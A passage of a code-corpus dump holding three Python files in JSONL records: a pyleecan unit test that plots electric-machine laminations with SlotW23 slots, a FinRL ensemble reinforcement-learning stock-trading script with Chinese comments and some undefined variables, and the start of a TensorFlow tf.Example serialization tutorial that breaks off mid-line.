{"text": "# -*- coding: utf-8 -*-\n\"\"\"\n@date Created on Tue Jan 12 13:54:56 2016\n@copyright (C) 2015-2016 EOMYS ENGINEERING.\n@author pierre_b\n\"\"\"\n\nfrom os.path import join\nfrom unittest import TestCase\n\nimport matplotlib.pyplot as plt\nfrom numpy import array, pi, zeros\n\nfrom pyleecan.Classes.Frame import Frame\nfrom pyleecan.Classes.LamSlotWind import LamSlotWind\nfrom pyleecan.Classes.LamSquirrelCage import LamSquirrelCage\nfrom pyleecan.Classes.Machine import Machine\nfrom pyleecan.Classes.Shaft import Shaft\nfrom pyleecan.Classes.VentilationCirc import VentilationCirc\nfrom pyleecan.Classes.VentilationPolar import VentilationPolar\nfrom pyleecan.Classes.VentilationTrap import VentilationTrap\nfrom pyleecan.Classes.Winding import Winding\nfrom pyleecan.Classes.WindingUD import WindingUD\nfrom pyleecan.Classes.WindingCW2LT import WindingCW2LT\nfrom pyleecan.Classes.WindingDW2L import WindingDW2L\nfrom pyleecan.Classes.BHCurveMat import BHCurveMat\nfrom pyleecan.Classes.BHCurveParam import BHCurveParam\nfrom pyleecan.Classes.MatLamination import MatLamination\nfrom pyleecan.Classes.SlotW23 import SlotW23\n\nfrom pyleecan.Tests.Plot import save_path\nfrom pyleecan.Tests.Plot.LamWind import wind_mat\n\n\nclass test_Lam_Wind_23_plot(TestCase):\n    \"\"\"unittest for Lamination with winding plot\"\"\"\n\n    def test_Lam_Wind_23_wind_22(self):\n        \"\"\"Test machine plot with Slot 23 and winding rad=2, tan=2\n        \"\"\"\n        print(\"\\nTest plot Slot 23\")\n        plt.close(\"all\")\n        test_obj = Machine()\n        test_obj.rotor = LamSlotWind(\n            Rint=0,\n            Rext=0.5,\n            is_internal=True,\n            is_stator=False,\n            L1=0.9,\n            Nrvd=5,\n            Wrvd=0.02,\n        )\n        test_obj.rotor.slot = SlotW23(\n            Zs=6, W0=50e-3, W1=90e-3, W2=100e-3, H0=20e-3, H1=35e-3, H2=130e-3\n        )\n        test_obj.rotor.winding = WindingUD(\n            user_wind_mat=wind_mat, qs=4, p=4, Lewout=60e-3\n        )\n        test_obj.rotor.mat_type.magnetics = MatLamination(Wlam=0.5e-3)\n        test_obj.shaft = Shaft(Drsh=test_obj.rotor.Rint * 2, Lshaft=1)\n\n        test_obj.stator = LamSlotWind(\n            Rint=0.51,\n            Rext=0.8,\n            is_internal=False,\n            is_stator=True,\n            L1=0.9,\n            Nrvd=5,\n            Wrvd=0.02,\n        )\n        test_obj.stator.slot = SlotW23(\n            Zs=18, W0=50e-3, W1=80e-3, W2=50e-3, H0=15e-3, H1=0, H2=170e-3\n        )\n        test_obj.stator.winding = WindingDW2L(qs=3, p=3)\n        test_obj.stator.mat_type.magnetics = MatLamination(Wlam=0.5e-3)\n        test_obj.stator.winding.Lewout = 60e-3\n        test_obj.frame = Frame(Rint=0.8, Rext=1, Lfra=1)\n\n        test_obj.plot()\n        fig = plt.gcf()\n        fig.savefig(join(save_path, \"test_Lam_Wind_s23_1-Machine.png\"))\n        # Rotor + Stator + 2 for frame + 0 shaft\n        self.assertEqual(len(fig.axes[0].patches), 65)\n\n        test_obj.rotor.plot()\n        fig = plt.gcf()\n        fig.savefig(join(save_path, \"test_Lam_Wind_s23_2-Rotor.png\"))\n        # 1 for lam + Zs*4 for wind\n        self.assertEqual(len(fig.axes[0].patches), 25)\n\n        test_obj.stator.plot()\n        fig = plt.gcf()\n        fig.savefig(join(save_path, \"test_Lam_Wind_s23_3-Stator.png\"))\n        # 2 for lam + Zs *2 for wind\n        self.assertEqual(len(fig.axes[0].patches), 38)\n", "meta": {"hexsha": "73666906089cbcf7d1fc5c96e563d1a1482d1571", "size": 3323, "ext": "py", "lang": "Python", "max_stars_repo_path": "Tests/Plot/LamWind/test_Slot_23_plot.py", "max_stars_repo_name": "PMSMcqut/pyleecan-of-manatee", "max_stars_repo_head_hexsha": "3efa06e8bc53c81a3e35457c108290e1d9ec1373", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2020-06-29T13:48:37.000Z", "max_stars_repo_stars_event_max_datetime": "2021-06-15T07:34:05.000Z", "max_issues_repo_path": "Tests/Plot/LamWind/test_Slot_23_plot.py", "max_issues_repo_name": "PMSMcqut/pyleecan-of-manatee", "max_issues_repo_head_hexsha": "3efa06e8bc53c81a3e35457c108290e1d9ec1373", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Tests/Plot/LamWind/test_Slot_23_plot.py", "max_forks_repo_name": "PMSMcqut/pyleecan-of-manatee", "max_forks_repo_head_hexsha": "3efa06e8bc53c81a3e35457c108290e1d9ec1373", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.6145833333, "max_line_length": 78, "alphanum_fraction": 0.6611495636, "include": true, "reason": "from numpy", "num_tokens": 1036, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.10374863033033534, "lm_q1q2_score": 0.05106384494587374}}
{"text": "import warnings  # python\u8fd0\u884c\u4ee3\u7801\u7684\u65f6\u5019\uff0c\u7ecf\u5e38\u4f1a\u78b0\u5230\u4ee3\u7801\u53ef\u4ee5\u6b63\u5e38\u8fd0\u884c\u4f46\u662f\u4f1a\u63d0\u51fa\u8b66\u544a\uff0c\u4e0d\u60f3\u770b\u5230\u8fd9\u4e9b\u4e0d\u91cd\u8981\u7684\u8b66\u544a\uff0c\u6240\u4ee5\u4f7f\u7528\u63a7\u5236\u8b66\u544a\u8f93\u51fa\n\nwarnings.filterwarnings(\"ignore\")  # \u4f7f\u7528\u8b66\u544a\u8fc7\u6ee4\u5668\u6765\u63a7\u5236\u5ffd\u7565\u53d1\u51fa\u7684\u8b66\u544a\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib  # python\u4e2d\u7c7b\u4f3c\u4e8eMATLAB\u7684\u7ed8\u56fe\u5de5\u5177\uff0c\u662f\u4e00\u4e2a2D\u7ed8\u56fe\u5e93\nimport matplotlib.pyplot as plt\nimport datetime  # datetime\u6a21\u5757\u63d0\u4f9b\u4e86\u5404\u79cd\u7c7b,\u7528\u4e8e\u64cd\u4f5c\u65e5\u671f\u548c\u65f6\u95f4\n\n\n# %matplotlib inline \u8868\u793a\u5185\u5d4c\u7ed8\u56fe\uff0c\u6709\u4e86\u8fd9\u4e2a\u547d\u4ee4\u5c31\u53ef\u4ee5\u7701\u7565\u6389plt.show()\u547d\u4ee4\u4e86\nfrom finrl.config import config  # \u5f15\u5165finrl\u5305\u7684\u914d\u7f6e\nfrom finrl.marketdata.yahoodownloader import YahooDownloader\nfrom finrl.preprocessing.preprocessors import FeatureEngineer\nfrom finrl.preprocessing.data import data_split\nfrom finrl.env.env_stocktrading import StockTradingEnv\nfrom finrl.model.models import DRLAgent, DRLEnsembleAgent\n\nfrom finrl.trade.backtest import (\n    backtest_stats,\n    get_daily_return,\n    get_baseline,\n    backtest_plot,\n)\nfrom pprint import pprint  # \u7528\u4e8e\u6253\u5370 Python \u6570\u636e\u7ed3\u6784. \u4f7f\u8f93\u51fa\u6570\u636e\u683c\u5f0f\u6574\u9f50, \u4fbf\u4e8e\u9605\u8bfb\n\nimport sys  # \u8be5\u8bed\u53e5\u544a\u8bc9Python\uff0c\u6211\u4eec\u60f3\u8981\u4f7f\u7528sys\uff0c\u6b64\u6a21\u5757\u5305\u542b\u4e86\u4e0ePython\u89e3\u91ca\u5668\u548c\u5b83\u7684\u73af\u5883\u6709\u5173\u7684\u51fd\u6570\n\nsys.path.append(\"../FinRL-Library\")\n# \u5728Python\u6267\u884cimport sys\u8bed\u53e5\u7684\u65f6\u5019\uff0cpython\u4f1a\u6839\u636esys.path\u7684\u8def\u5f84\u6765\u5bfb\u627esys.py\u6a21\u5757\u3002\n# \u6dfb\u52a0\u81ea\u5df1\u7684\u6a21\u5757\u8def\u5f84\uff0c Sys.path.append(\u201cmine module path\u201d)\n\nimport itertools  # itertools\u6a21\u5757\u4e2d\u7684\u51fd\u6570\u53ef\u4ee5\u7528\u6765\u5bf9\u6570\u636e\u8fdb\u884c\u5faa\u73af\u64cd\u4f5c\n\n\"\"\"\nos.path.exists(path)\uff0c\u5982\u679cpath\u662f\u4e00\u4e2a\u5b58\u5728\u7684\u8def\u5f84\uff0c\u8fd4\u56deTrue\uff0c\u5426\u5219\u8fd4\u56de False\nos.path.exists(path)\u7684\u5e94\u7528\uff1a\u5224\u65ad\u8def\u5f84\u662f\u5426\u5b58\u5728\uff0c\u4e0d\u5b58\u5728\u5219\u521b\u5efa\n\u4e3e\u4f8b\u5b50\nlog_dir = \"logs/\"\nif not os.path.exists(log_dir):\n    os.makedirs(log_dir)\n\"\"\"\n\nimport os\n\nif not os.path.exists(\"./\" + config.DATA_SAVE_DIR):  # \"./\"\u4ee3\u8868\u5f53\u524d\u76ee\u5f55\n    os.makedirs(\"./\" + config.DATA_SAVE_DIR)\nif not os.path.exists(\"./\" + config.TRAINED_MODEL_DIR):\n    os.makedirs(\"./\" + config.TRAINED_MODEL_DIR)\nif not os.path.exists(\"./\" + config.TENSORBOARD_LOG_DIR):\n    os.makedirs(\"./\" + config.TENSORBOARD_LOG_DIR)\nif not os.path.exists(\"./\" + config.RESULTS_DIR):\n    os.makedirs(\"./\" + config.RESULTS_DIR)\n\n# \u4e0b\u8f7d\u6570\u636e\n# Attributes\n# ----------\n#   start_date : str\n#       start date of the data (modified from config.py)\n#   end_date : str\n#       end date of the data (modified from config.py)\n#    ticker_list : list\n#       a list of stock tickers (modified from config.py)\n\n# Methods\n# -------\n# fetch_data()\n#   Fetches data from yahoo API\n# from config.py start_date is a string\n\nconfig.START_DATE\nconfig.END_DATE\nprint(config.DOW_30_TICKER)\n\n# \u7f13\u5b58\u6570\u636e\uff0c\u5982\u679c\u65e5\u671f\u6216\u8005\u80a1\u7968\u5217\u8868\u53d1\u751f\u53d8\u5316\uff0c\u9700\u8981\u5220\u9664\u8be5\u7f13\u5b58\u6587\u4ef6\u91cd\u65b0\u4e0b\u8f7d\nSAVE_PATH = \"./datasets/20210616-12h19.csv\"\nif os.path.exists(SAVE_PATH):\n    df = pd.read_csv(SAVE_PATH)\nelse:\n    df = YahooDownloader(\n        config.START_DATE,  #'2000-01-01',\n        config.END_DATE,  # 2021-01-01\uff0c\u9884\u8ba1\u5c06\u6539\u65e5\u671f\u6539\u4e3a'2021-06-20'\uff08\u4eca\u65e5\u65e5\u671f\uff09\n        ticker_list=config.DOW_30_TICKER,\n    ).fetch_data()  # DOW_30_TICKER)\u9053\u743c\u65af30\u53ea\u80a1\u7968\n    df.to_csv(SAVE_PATH)\n\ndf.head()  # \u6700\u5f00\u59cb5\u6761\ndf.tail()  # tail\u4ec5\u5c55\u793a\u4e86\u6700\u540e\u4e94\u6761\u6570\u636e\ndf.shape\ndf.sort_values([\"date\", \"tic\"]).head()  # ticker\u8868\u793a\u80a1\u7968\u4ee3\u7801\uff0ce.g.AAPL\u662f\u82f9\u679c\u7684\u80a1\u7968\n\"\"\"\npandas\u4e2d\u7684sort_values()\u51fd\u6570\u53ef\u4ee5\u6839\u636e\u6307\u5b9a\u884c\u3001\u5217\u7684\u6570\u636e\u8fdb\u884c\u6392\u5e8f\n#DataFrame.sort_values(by=\u2018##\u2019-\u6309\u7167\u6307\u5b9a\u5217\u3001\u884c\u6392\u5e8f,ascending=True-\u9ed8\u8ba4\u5347\u5e8f\u6392\u5217, inplace=False-\u9ed8\u8ba4\u4e0d\u66ff\u6362\u539f\u6765\u6570\u636e\u96c6, na_position=\u2018last\u2019-\u9ed8\u8ba4\u7f3a\u5931\u503c\u4f4d\u7f6e\u4e3alast\u6700\u540e\u4e00\u4e2a)\n#\u6309\u7167df\u6570\u636e\u96c6\u7684['date','tic']\u4e24\u5217\u6392\u5e8f\uff0c\u5176\u4f59\u53c2\u6570\u53d6\u9ed8\u8ba4\u503c\n\"\"\"\n# \u6570\u636e\u9884\u5904\u7406\n\"\"\"\nfeatures\uff1a4+2+1+1(turb)\n1.1. Add technical indicators: MACD  RSI  cci  adx\n1.2. user_defined_feature: stock prices, current holding shares\n1.3. current balance(\u5f53\u524d\u8d26\u6237\u6240\u6709\u989d)\n2.   turbulence index. \n FinRL employs the financial turbulence index that measures extreme asset price fluctuation.\n\nAttributes\n    ----------\n        use_technical_indicator : boolean   \u6ce8\u610f\uff1aboolean(\u5e03\u5c14\u503c)\u53d6\u503c\u4e3atrue or false,\u9ed8\u8ba4\u503c\u662ffalse\n        we technical indicator or not\n        tech_indicator_list : list\n            a list of technical indicator names (modified from config.py)\n        use_turbulence : boolean    \n            use turbulence index or not\n        user_defined_feature:boolean\n            user user defined features or not\n\u6ce8\u610f\uff1a\u672c\u6587\u521b\u65b0\u70b9\u662f\u5f15\u5165\u4e86\u4e00\u4e2aturbulence\u63d0\u9ad8\u6a21\u578b\u7684\u6297\u98ce\u9669\u80fd\u529b\u3002\u6587\u7ae0\u901a\u8fc7\u5b9a\u4e49turbulence\u7684\u6307\u6570\u6765\u53cd\u5e94\u80a1\u5e02\u72b6\u51b5\uff0c\u5728\u5d29\u76d8\u7684\u65f6\u5019\uff0c\u5219\u5f3a\u5236\u629b\u552e\u6240\u6709\u8d44\u4ea7\u4ee5\u62b5\u5fa1\u80a1\u5e02\u5d29\u76d8\u7684\u91d1\u878d\u98ce\u9669\u3002\n\u4f46\u662f\u8be5\u7279\u5f81\u6bd4\u8f83trick\uff0ceg\uff0c\u5d29\u76d8\u4e8b\u4ef6\u6982\u7387\u592a\u5c0f\uff0c\u4e00\u822c\u6a21\u578b\u4f7f\u7528\u8be5\u6307\u6807\u5408\u7406\u4e48\uff1f\u4e14turbulence\u7684\u9608\u503c\u662f\u8d85\u53c2\u6570\n\u4e8b\u5b9e\u4e0a\uff0c\u5f53\u5d29\u76d8\u53d1\u751f\u7684\u65f6\u5019\uff0c\u6839\u672c\u6ca1\u65f6\u95f4\u53cd\u5e94\n\n\nMethods\n    -------\n    preprocess_data()\n        main method to do the feature engineering\n\"\"\"\n\ntech_indicators = [\"macd\", \"rsi_30\", \"cci_30\", \"dx_30\"]\n\nfe = FeatureEngineer(\n    use_technical_indicator=True,\n    tech_indicator_list=tech_indicators,\n    use_turbulence=True,\n    user_defined_feature=False,\n)\n##\u4f7f\u7528finrl.preprocessing.preprocessors\u4e2d\u7684FeatureEngineer\u6765\u5bf9\u80a1\u4ef7\u6570\u636e\u8fdb\u884c\u9884\u5904\u7406\n\n# \u7f13\u5b58\u6570\u636e\uff0c\u5982\u679c\u65e5\u671f\u6216\u8005\u80a1\u7968\u5217\u8868\u53d1\u751f\u53d8\u5316\uff0c\u9700\u8981\u5220\u9664\u8be5\u7f13\u5b58\u6587\u4ef6\u91cd\u65b0\u4e0b\u8f7d\nSAVE_PATH = \"./datasets/20210616-12h19.preprocess.csv\"\nif os.path.exists(SAVE_PATH):\n    processed = pd.read_csv(SAVE_PATH)\nelse:\n    processed = fe.preprocess_data(df)\n    processed.to_csv(SAVE_PATH)\n\nlist_ticker = processed[\"tic\"].unique().tolist()  # \u6309\u7167processed\u7684\"tic\"\u5217\u53bb\u91cd\nlist_date = list(\n    pd.date_range(processed[\"date\"].min(), processed[\"date\"].max()).astype(str)\n)  # \u6210\u4e00\u4e2a\u56fa\u5b9a\u9891\u7387\u7684\u65f6\u95f4\u7d22\u5f15\ncombination = list(itertools.product(list_date, list_ticker))\n\"\"\"\n1.pandas.date_range(start=None, end=None, periods=None, freq='D', tz=None, normalize=False, name=None, closed=None, **kwargs)\n\u7531\u4e8eimport pandas as pd,\u6240\u4ee5\u4e5f\u53ef\u4ee5\u5199\u6210pd.date_range\uff08start=None, end=None\uff09\n\u8be5\u51fd\u6570\u4e3b\u8981\u7528\u4e8e\u751f\u6210\u4e00\u4e2a\u56fa\u5b9a\u9891\u7387\u7684\u65f6\u95f4\u7d22\u5f15\uff0c\u4f7f\u7528\u65f6\u5fc5\u987b\u6307\u5b9astart\u3001end\u3001periods\u4e2d\u7684\u4e24\u4e2a\u53c2\u6570\u503c\uff0c\u5426\u5219\u62a5\u9519\u3002\n2.df.astype('str') #\u6539\u53d8\u6574\u4e2adf\u53d8\u6210str\u6570\u636e\u7c7b\u578b\n3.itertools.product(*iterables[, repeat]) # \u5bf9\u5e94\u6709\u5e8f\u7684\u91cd\u590d\u62bd\u6837\u8fc7\u7a0b\n  itertools.product(a,b),\u5c06a,b\u5143\u7ec4\u4e2d\u7684\u6bcf\u4e2a\u5206\u91cf\u4f9d\u6b21\u4e58\u5f00\u3002\n\"\"\"\n\nprocessed_full = pd.DataFrame(combination, columns=[\"date\", \"tic\"]).merge(\n    processed, on=[\"date\", \"tic\"], how=\"left\"\n)\n\"\"\"1.  pd.DataFrame( \u67d0\u6570\u636e\u96c6 \uff0cindex  \uff0ccolumns ),\u7ed9\u67d0\u6570\u636e\u96c6\u52a0\u4e0a\u884c\u540dindex\u548c\u5217\u540dcolumns\n       \u6b64\u5904\u53ea\u6709pd.DataFrame( \u67d0\u6570\u636e\u96c6 \uff0ccolumns )\uff0c\u7b2c\u4e00\u5217\u52a0\u5217\u540ddate\uff0c\u7b2c\u4e8c\u5217\u52a0\u5217\u540dtic.\n   2.  merge(df1,df2,on='key',how)\n   \u6309\u7167[\"date\",\"tic\"]\u4e3a\u5173\u952e\u5b57\u94fe\u63a5\uff0c\u4ee5\u5de6\u8fb9\u7684dataframe\u4e3a\u4e3b\u5bfc\uff0c\u5de6\u4fa7dataframe\u53d6\u5168\u90e8\u6570\u636e\uff0c\u53f3\u4fa7dataframe\u914d\u5408\u5de6\u8fb9\n\"\"\"\n\nprocessed_full = processed_full[processed_full[\"date\"].isin(processed[\"date\"])]\n# isin\u51fd\u6570\uff0c\u6e05\u6d17\u6570\u636e\uff0c\u5220\u9009\u8fc7\u6ee4\u6389processed_full\u4e2d\u4e00\u4e9b\u884c\uff0cprocessed_full\u65b0\u52a0\u4e00\u5217['date']\u82e5\u548cprocessed_full\u4e2d\u7684['date']\u4e0d\u76f8\u7b26\u5408\uff0c\u5219\u88ab\u5254\u9664\nprocessed_full = processed_full.sort_values([\"date\", \"tic\"])\n\nprocessed_full = processed_full.fillna(0)\n# \u5bf9\u4e8eprocessed_full\u6570\u636e\u96c6\u4e2d\u7684\u7f3a\u5931\u503c\u4f7f\u7528 0 \u6765\u586b\u5145.\nprocessed_full.sample(5)  # sample\uff08\uff09\u662frandom\u6a21\u5757\u4e2d\u7684\u4e00\u4e2a\u51fd\u6570\uff0c\u5373\u968f\u673a\u53d6\u4e94\u4e2a\u6837\u672c\u5c55\u793a\n\n\n# \u8bbe\u8ba1\u5f3a\u5316\u5b66\u4e60\u5b9e\u9a8c\u73af\u5883\n# trading environments, based on OpenAI Gym framework, simulate live stock markets with real market data\n# according to the principle of time-driven simulation.\n# action space:{-1,0,1}-{selling,holding,buying};\n# {k,...,-1,0,1,...,k}-{number of shares to sell,number of shares to hold,number of shares to buy}\n\n\n# The continuous action space needs to be normalized to [-1, 1],\n# since the policy is defined on a Gaussian distribution,\n# which needs to be normalized and symmetric.\n\nstock_dimension = len(processed_full.tic.unique())\nstate_space = 1 + 2 * stock_dimension + len(tech_indicators) * stock_dimension\nprint(f\"Stock Dimension: {stock_dimension}, State Space: {state_space}\")\n\n\"\"\"\n1.\u6309\u7167processed_full\u7684\"tic\"\u5217\u53bb\u91cd\u5e76\u8ba1\u7b97\u4e2a\u6570\n2.\u8ba1\u7b97\u72b6\u6001\u7a7a\u95f4\u7684\u7ef4\u6570\n\"\"\"\nenv_kwargs = {\n    \"hmax\": 100,\n    \"initial_amount\": 1000000,  # Since in Indonesia the minimum number of shares per trx is 100, then we scaled the initial amount by dividing it with 100\n    \"buy_cost_pct\": 0.001,  # IPOT has 0.1% buy cost\n    \"sell_cost_pct\": 0.001,  # IPOT has 0.1% sell cost\n    \"state_space\": state_space,\n    \"stock_dim\": stock_dimension,\n    \"tech_indicator_list\": tech_indicators,\n    \"action_space\": stock_dimension,\n    \"reward_scaling\": 1e-4,\n    \"print_verbosity\": 5,\n}\n\n# \u4f7f\u7528DRL\u7b97\u6cd5\uff08validating 3 agents:A2C\u3001PPO\u3001DDPG\uff09\nrebalance_window = 25  # rebalance_window is the number of days to retrain the model\nvalidation_window = (\n    25  # validation_window is the number of days to do validation and trading\n)\n# e.g. if validation_window=63, then both validation and trading period will be 63 days\ntrain_start = \"2017-01-01\"\ntrain_end = \"2020-07-01\"\nval_test_start = \"2020-07-01\"\nval_test_end = \"2021-01-01\"\n\nensemble_agent = DRLEnsembleAgent(\n    df=processed_full,\n    train_period=(train_start, train_end),\n    val_test_period=(val_test_start, val_test_end),\n    rebalance_window=rebalance_window,\n    validation_window=validation_window,\n    **env_kwargs,\n)\n\nA2C_model_kwargs = {\"n_steps\": 5, \"ent_coef\": 0.01, \"learning_rate\": 0.0005}\n\nPPO_model_kwargs = {\n    \"ent_coef\": 0.01,\n    \"n_steps\": 2048,\n    \"learning_rate\": 0.00025,\n    \"batch_size\": 128,\n}\n\nDDPG_model_kwargs = {\n    \"action_noise\": \"ornstein_uhlenbeck\",\n    \"buffer_size\": 50_000,\n    \"learning_rate\": 0.000005,\n    \"batch_size\": 128,\n}\n\ntimesteps_dict = {\"a2c\": 30_000, \"ppo\": 100_000, \"ddpg\": 10_000}\n# \u7591\u95ee\uff0c\u4e3a\u4ec0\u4e48\u8fd9\u91cc\u4e24\u4e2a\u53d8\u91cf\u4e00\u6837\uff0c\u8d4b\u503c\u4e0d\u4e00\u6837\u5462\uff1f\ntimesteps_dict = {\"a2c\": 1_000, \"ppo\": 1_000, \"ddpg\": 1_000}\n\n\ndf_summary,model_ppo,model_a2c,model_ddpg = ensemble_agent.run_ensemble_strategy(\n    A2C_model_kwargs, PPO_model_kwargs, DDPG_model_kwargs, timesteps_dict\n)\n\nmodels = [model_ppo,model_a2c,model_ddpg]\n\n# r(s_t,a_t,s_(t+1) = (b_(t+1)+p_(t+1)*(h_(t+1)))-((b_t)+p_t*h_t)-ct\n# 1.\u672a\u4f7f\u7528model\u7684\u7d2f\u8ba1\u6536\u76ca\n# 2.\u4f7f\u7528A2C\u5f97\u5230\u7684\u7d2f\u8ba1\u6536\u76ca\uff1aA2C_model_kwargs\n# 3.\u4f7f\u7528ppo\u5f97\u5230\u7684\u7d2f\u8ba1\u6536\u76ca\uff1aPPO_model_kwargs\n# 4.\u4f7f\u7528DDPG\u5f97\u5230\u7684\u7d2f\u8ba1\u6536\u76ca\uff1aDDPG_model_kwargs\n# 5.\u4f7f\u7528 \u96c6\u6210\u7b56\u7565 \u5f97\u5230\u7684\u7d2f\u8ba1\u6536\u76ca\uff1adf_summary\n\n\ndef stat_result():\n    # Backtest of Ensemble Strategy\n    unique_trade_date = processed_full[\n        (processed_full.date > val_test_start) & (processed_full.date <= val_test_end)\n    ].date.unique()  # \u4f7f\u7528\u5212\u5206\u597d\u7684\u9a8c\u8bc1\u96c6\u4f5c\u4e3atrade\u6570\u636e\n\n    df_trade_date = pd.DataFrame(\n        {\"datadate\": unique_trade_date}\n    )  # \u5efa\u7acb\u4e00\u4e2a\u65b0\u7684\u8868\uff0c\u5217\u540d\u662fdatadate\uff1a\u5185\u5bb9\u662ftrade_date\n\n    # \u7ed3\u679c\u6570\u636e\u7f13\u5b58\u5728./result\u4e2d\uff0c\u62fc\u63a5\u6240\u6709\u7684\u7ed3\u679c\u6570\u636e\u8fdb\u884c\u753b\u56fe\n    # ensemble, A2C, PPO, DDPG, (\u4e0d\u4f7f\u7528\u7b56\u7565)\n    df_ensemble = pd.DataFrame() \n    for i in range(\n        rebalance_window + validation_window,\n        len(unique_trade_date) + 1,\n        rebalance_window,\n    ):\n        temp = pd.read_csv(\n            \"results/account_value_trade_{}_{}.csv\".format(\"ensemble\", i)\n        )\n        df_ensemble = df_ensemble.append(temp, ignore_index=True)            \n\n    sharpe = (\n        (252 ** 0.5)\n        * dfs[0].account_value.pct_change(1).mean()\n        / dfs[0].account_value.pct_change(1).std()\n    )\n    print(\"Ensemble Sharpe Ratio: \", sharpe)\n    dfs[0] = dfs[0].join(df_trade_date[validation_window:].reset_index(drop=True))\n\n    #\u75283\u79cd\u6a21\u578b\u53bb\u4ea4\u6613\u9a8c\u8bc1\u96c6\u4e2d\u7684\u6570\u636e\n    ensemble_agent.DRL_validation(model=model_ddpg,test_data=validation,test_env=val_env_ddpg,test_obs=val_obs_ddpg)\n\n\n    return dfs\n\n\ndfs = stat_result() \n# \u5c06\u6240\u6709\u6570\u636e\u753b\u5230\u540c\u4e00\u4e2a\u56fe\u4e2d\nfor i in [1,2,3]:\n    x = dfs[i][\"date\"]\n    y = dfs[i][\"account_value\"]\n    #backtest_plot(dfs[i], '2020-07-02', '2020-11-20')\n    plt.plot(x, y)\n\nplt.savefig('account_value_plot.png')\n", "meta": {"hexsha": "08df8023d78ffa9b23e9f4653da5326bbe0fa4f7", "size": 10118, "ext": "py", "lang": "Python", "max_stars_repo_path": "RL_2020_ENSEMBLE.py", "max_stars_repo_name": "hhf1357924680/RL-FIN", "max_stars_repo_head_hexsha": "be8dc15e1b6890551eae5637c179d23521956f58", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-02-24T11:16:20.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-24T11:16:20.000Z", "max_issues_repo_path": "RL_2020_ENSEMBLE.py", "max_issues_repo_name": "hhf1357924680/RL-FIN", "max_issues_repo_head_hexsha": "be8dc15e1b6890551eae5637c179d23521956f58", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "RL_2020_ENSEMBLE.py", "max_forks_repo_name": "hhf1357924680/RL-FIN", "max_forks_repo_head_hexsha": "be8dc15e1b6890551eae5637c179d23521956f58", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2022-01-08T01:42:51.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-31T17:38:13.000Z", "avg_line_length": 32.5337620579, "max_line_length": 155, "alphanum_fraction": 0.7260328128, "include": true, "reason": "import numpy", "num_tokens": 3632, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4921881357207955, "lm_q2_score": 0.10374861855288664, "lm_q1q2_score": 0.05106383914915321}}
{"text": "# Copyright 2019 ChangyuLiu Authors. All Rights Reserved.\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n#   you may not use this file except in compliance with the License.\n#   You may obtain a copy of the License at\n#\n#       http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\n\"\"\"To read data efficiently it can be helpful to serialize your data and store\n it in a set of files (100-200MB each) that can each be read linearly.\n\"\"\"\nimport tensorflow as tf\n\nimport numpy as np\nimport IPython.display as display\n\n\"\"\"## `tf.Example`\n\n### Data types for `tf.Example`\n\nFundamentally a `tf.Example` is a `{\"string\": tf.train.Feature}` mapping.\n\nThe `tf.train.Feature` message type can accept one of the following three types (See the [`.proto` file]((https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/example/feature.proto) for reference). Most other generic types can be coerced into one of these.\n\n1. `tf.train.BytesList` (the following types can be coerced)\n\n- `string`\n- `byte`\n\n1. `tf.train.FloatList` (the following types can be coerced)\n\n- `float` (`float32`)\n- `double` (`float64`)\n\n1. `tf.train.Int64List` (the following types can be coerced)\n\n- `bool`\n- `enum`\n- `int32`\n- `uint32`\n- `int64`\n- `uint64`\n\nIn order to convert a standard TensorFlow type to a `tf.Example`-compatible `tf.train.Feature`, you can use the following shortcut functions:\n\nEach function takes a scalar input value and returns a `tf.train.Feature` containing one of the three `list` types above.\n\"\"\"\n\n# The following functions can be used to convert a value to a type compatible\n# with tf.Example.\n\n\ndef _bytes_feature(value):\n  \"\"\"Returns a bytes_list from a string / byte.\"\"\"\n  if isinstance(value, type(tf.constant(0))):\n      value = value.numpy()  # BytesList won't unpack a string from an EagerTensor.\n  return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))\n\n\ndef _float_feature(value):\n  \"\"\"Returns a float_list from a float / double.\"\"\"\n  return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))\n\n\ndef _int64_feature(value):\n  \"\"\"Returns an int64_list from a bool / enum / int / uint.\"\"\"\n  return tf.train.Feature(int64_list=tf.train.Int64List(value=[value]))\n\n\n\"\"\"Note: To stay simple, this example only uses scalar inputs. The simplest way to handle non-scalar features is to use `tf.serialize_tensor` to convert tensors to binary-strings. Strings are scalars in tensorflow. Use `tf.parse_tensor` to convert the binary-string back to a tensor.\n\nBelow are some examples of how these functions work. Note the varying input types and the standardizes output types. If the input type for a function does not match one of the coercible types stated above, the function will raise an exception (e.g. `_int64_feature(1.0)` will error out, since `1.0` is a float, so should be used with the `_float_feature` function instead).\n\"\"\"\n\nprint(_bytes_feature(b'test_string'))\nprint(_bytes_feature(u'test_bytes'.encode('utf-8')))\n\nprint(_float_feature(np.exp(1)))\n\nprint(_int64_feature(True))\nprint(_int64_feature(1))\n\n\"\"\"All proto messages can be serialized to a binary-string using the `.SerializeToString` method.\"\"\"\n\nfeature 